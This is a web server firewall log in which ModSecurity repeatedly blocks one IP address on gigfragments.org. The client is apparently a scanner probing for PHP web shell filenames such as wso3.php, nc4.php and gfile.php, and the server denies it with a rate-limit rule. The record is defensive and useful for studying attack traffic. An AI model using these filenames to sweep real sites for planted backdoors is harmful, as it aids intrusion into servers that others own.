[Sun Jan 04 22:16:58.864032 2026] [:error] [pid 45949:tid 45965] [client 4.241.234.12:15203] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aVp2WqWUhIYCdxgkhpBQVQAAAgs"]
[Sun Jan 04 22:16:59.276502 2026] [:error] [pid 48667:tid 48701] [client 4.241.234.12:17412] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aVp2W3O6aihVIlrNAPj4qwAAAQQ"]
[Sun Jan 04 22:16:59.634740 2026] [:error] [pid 48667:tid 48702] [client 4.241.234.12:14980] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aVp2W3O6aihVIlrNAPj4rAAAAQU"]
[Sun Jan 04 22:16:59.958412 2026] [:error] [pid 48727:tid 48775] [client 4.241.234.12:17453] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/excel.php"] [unique_id "aVp2W_gJtUs-E_QT0ibagAAAA1I"]
[Sun Jan 04 22:17:00.305204 2026] [:error] [pid 42666:tid 42718] [client 4.241.234.12:15285] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/excel.php"] [unique_id "aVp2XPc221c7vwWrOjcVoAAAAxU"]
[Sun Jan 04 22:17:00.589284 2026] [:error] [pid 42666:tid 42708] [client 4.241.234.12:17507] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/excel.php"] [unique_id "aVp2XPc221c7vwWrOjcVogAAAws"]
[Sun Jan 04 22:17:00.866858 2026] [:error] [pid 42666:tid 42715] [client 4.241.234.12:17495] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/excel.php"] [unique_id "aVp2XPc221c7vwWrOjcVowAAAxI"]
[Sun Jan 04 22:17:01.156696 2026] [:error] [pid 45950:tid 45994] [client 4.241.234.12:15191] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVp2XVx-3HUGZIlAI-5SNQAAA4w"]
[Sun Jan 04 22:17:01.455956 2026] [:error] [pid 48667:tid 48709] [client 4.241.234.12:15201] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVp2XXO6aihVIlrNAPj4rgAAAQw"]
[Sun Jan 04 22:17:01.700183 2026] [:error] [pid 45949:tid 45977] [client 4.241.234.12:15594] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVp2XaWUhIYCdxgkhpBQVwAAAhc"]
[Sun Jan 04 22:17:02.010797 2026] [:error] [pid 45863:tid 45867] [client 4.241.234.12:17517] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVp2XlGr1mgeue1bWvTYigAAAAI"]
[Sun Jan 04 22:17:02.261555 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:15561] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ap.php"] [unique_id "aVp2XptGiMsRmNcKXvpHuAAAAsg"]
[Sun Jan 04 22:17:02.601179 2026] [:error] [pid 48727:tid 48766] [client 4.241.234.12:17512] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ap.php"] [unique_id "aVp2XvgJtUs-E_QT0ibagwAAA0k"]
[Sun Jan 04 22:17:02.858491 2026] [:error] [pid 48667:tid 48717] [client 4.241.234.12:17423] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ap.php"] [unique_id "aVp2XnO6aihVIlrNAPj4sgAAARQ"]
[Sun Jan 04 22:17:03.139747 2026] [:error] [pid 48727:tid 48764] [client 4.241.234.12:15104] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ap.php"] [unique_id "aVp2X_gJtUs-E_QT0ibahAAAA0c"]
[Sun Jan 04 22:17:03.426883 2026] [:error] [pid 48633:tid 48655] [client 4.241.234.12:15337] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVp2X3pmEoQIuLH2aWhIXwAAAFQ"]
[Sun Jan 04 22:17:03.680176 2026] [:error] [pid 42666:tid 42710] [client 4.241.234.12:17430] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVp2X_c221c7vwWrOjcVpQAAAw0"]
[Sun Jan 04 22:17:03.946832 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:17465] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVp2X1Gr1mgeue1bWvTYjAAAAAY"]
[Sun Jan 04 22:17:04.217511 2026] [:error] [pid 29351:tid 29402] [client 4.241.234.12:15187] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aVp2YJtGiMsRmNcKXvpHuwAAAtI"]
[Sun Jan 04 22:17:04.479784 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:17477] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/love.php"] [unique_id "aVp2YPgJtUs-E_QT0ibahQAAA0s"]
[Sun Jan 04 22:17:04.845259 2026] [:error] [pid 42666:tid 42701] [client 4.241.234.12:15554] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/love.php"] [unique_id "aVp2YPc221c7vwWrOjcVpwAAAwQ"]
[Sun Jan 04 22:17:05.265485 2026] [:error] [pid 48727:tid 48762] [client 4.241.234.12:17455] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/love.php"] [unique_id "aVp2YfgJtUs-E_QT0ibahgAAA0U"]
[Sun Jan 04 22:17:05.557692 2026] [:error] [pid 48727:tid 48777] [client 4.241.234.12:17436] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/love.php"] [unique_id "aVp2YfgJtUs-E_QT0ibaiAAAA1Q"]
[Sun Jan 04 22:17:05.825196 2026] [:error] [pid 48727:tid 48760] [client 4.241.234.12:15209] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso3.php"] [unique_id "aVp2YfgJtUs-E_QT0ibaigAAA0M"]
[Sun Jan 04 22:17:06.168860 2026] [:error] [pid 29351:tid 29407] [client 4.241.234.12:15269] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso3.php"] [unique_id "aVp2YptGiMsRmNcKXvpHvgAAAtc"]
[Sun Jan 04 22:17:06.459309 2026] [:error] [pid 43583:tid 43601] [client 4.241.234.12:17494] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso3.php"] [unique_id "aVp2YuZbrSRUiJ-RX9ZCzgAAAUw"]
[Sun Jan 04 22:17:06.792872 2026] [:error] [pid 48667:tid 48707] [client 4.241.234.12:15256] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso3.php"] [unique_id "aVp2YnO6aihVIlrNAPj4wwAAAQo"]
[Sun Jan 04 22:17:07.063720 2026] [:error] [pid 45950:tid 46002] [client 4.241.234.12:17420] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aVp2Y1x-3HUGZIlAI-5SNwAAA5Q"]
[Sun Jan 04 22:17:07.298004 2026] [:error] [pid 48727:tid 48761] [client 4.241.234.12:15355] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aVp2Y_gJtUs-E_QT0ibajQAAA0Q"]
[Sun Jan 04 22:17:07.548326 2026] [:error] [pid 43583:tid 43589] [client 4.241.234.12:17427] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aVp2Y-ZbrSRUiJ-RX9ZCzwAAAUA"]
[Sun Jan 04 22:17:07.792026 2026] [:error] [pid 43583:tid 43611] [client 4.241.234.12:15567] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aVp2Y-ZbrSRUiJ-RX9ZC0AAAAVY"]
[Sun Jan 04 22:17:08.019089 2026] [:error] [pid 42666:tid 42702] [client 4.241.234.12:17530] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxl.php"] [unique_id "aVp2ZPc221c7vwWrOjcVqAAAAwU"]
[Sun Jan 04 22:17:08.328647 2026] [:error] [pid 48633:tid 48657] [client 4.241.234.12:15005] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxl.php"] [unique_id "aVp2ZHpmEoQIuLH2aWhIYAAAAFY"]
[Sun Jan 04 22:17:08.554711 2026] [:error] [pid 45949:tid 45957] [client 4.241.234.12:15186] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxl.php"] [unique_id "aVp2ZKWUhIYCdxgkhpBQdQAAAgM"]
[Sun Jan 04 22:17:08.833207 2026] [:error] [pid 48727:tid 48778] [client 4.241.234.12:17434] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxl.php"] [unique_id "aVp2ZPgJtUs-E_QT0ibakgAAA1U"]
[Sun Jan 04 22:17:09.226946 2026] [:error] [pid 30985:tid 31022] [client 4.241.234.12:15146] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aVp2ZUisiM0XfzVcTWC00wAAAcg"]
[Sun Jan 04 22:17:09.472909 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:17450] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aVp2ZfgJtUs-E_QT0ibalAAAA0s"]
[Sun Jan 04 22:17:09.728258 2026] [:error] [pid 48633:tid 48639] [client 4.241.234.12:17448] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aVp2ZXpmEoQIuLH2aWhIZAAAAEQ"]
[Sun Jan 04 22:17:10.005124 2026] [:error] [pid 45949:tid 45959] [client 4.241.234.12:17486] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aVp2ZqWUhIYCdxgkhpBQfgAAAgU"]
[Sun Jan 04 22:17:10.301394 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:17431] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aVp2ZvgJtUs-E_QT0ibalQAAA08"]
[Sun Jan 04 22:17:10.646491 2026] [:error] [pid 45950:tid 45990] [client 4.241.234.12:17515] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aVp2Zlx-3HUGZIlAI-5SOAAAA4g"]
[Sun Jan 04 22:17:10.889971 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:17411] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aVp2ZvgJtUs-E_QT0ibamgAAA0A"]
[Sun Jan 04 22:17:11.236943 2026] [:error] [pid 48727:tid 48763] [client 4.241.234.12:17429] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aVp2Z_gJtUs-E_QT0ibangAAA0Y"]
[Sun Jan 04 22:17:11.474993 2026] [:error] [pid 42666:tid 42700] [client 4.241.234.12:15578] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVp2Z_c221c7vwWrOjcVqwAAAwM"]
[Sun Jan 04 22:17:11.711236 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15485] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVp2Z-ZbrSRUiJ-RX9ZC0gAAAUc"]
[Sun Jan 04 22:17:11.980270 2026] [:error] [pid 48633:tid 48638] [client 4.241.234.12:15181] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVp2Z3pmEoQIuLH2aWhIaQAAAEM"]
[Sun Jan 04 22:17:12.237709 2026] [:error] [pid 48667:tid 48701] [client 4.241.234.12:17428] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aVp2aHO6aihVIlrNAPj40wAAAQQ"]
[Sun Jan 04 22:17:12.553159 2026] [:error] [pid 29351:tid 29391] [client 4.241.234.12:17529] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aVp2aJtGiMsRmNcKXvpHwwAAAsc"]
[Sun Jan 04 22:17:12.821510 2026] [:error] [pid 48667:tid 48709] [client 4.241.234.12:17505] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aVp2aHO6aihVIlrNAPj41gAAAQw"]
[Sun Jan 04 22:17:13.179464 2026] [:error] [pid 45950:tid 45989] [client 4.241.234.12:17441] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aVp2aVx-3HUGZIlAI-5SOwAAA4c"]
[Sun Jan 04 22:17:13.436356 2026] [:error] [pid 48633:tid 48659] [client 4.241.234.12:15229] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aVp2aXpmEoQIuLH2aWhIawAAAFg"]
[Sun Jan 04 22:17:13.810382 2026] [:error] [pid 48667:tid 48699] [client 4.241.234.12:15121] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gold.php"] [unique_id "aVp2aXO6aihVIlrNAPj42gAAAQI"]
[Sun Jan 04 22:17:14.095328 2026] [:error] [pid 45863:tid 45885] [client 4.241.234.12:15555] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gold.php"] [unique_id "aVp2alGr1mgeue1bWvTYogAAABQ"]
[Sun Jan 04 22:17:14.375602 2026] [:error] [pid 48633:tid 48649] [client 4.241.234.12:17513] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gold.php"] [unique_id "aVp2anpmEoQIuLH2aWhIbgAAAE4"]
[Sun Jan 04 22:17:14.697385 2026] [:error] [pid 29351:tid 29385] [client 4.241.234.12:17471] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gold.php"] [unique_id "aVp2aptGiMsRmNcKXvpHxgAAAsE"]
[Sun Jan 04 22:17:15.077575 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:17440] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aua.php"] [unique_id "aVp2a_gJtUs-E_QT0ibaqQAAA0A"]
[Sun Jan 04 22:17:15.347993 2026] [:error] [pid 45950:tid 45996] [client 4.241.234.12:15127] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aua.php"] [unique_id "aVp2a1x-3HUGZIlAI-5SPAAAA44"]
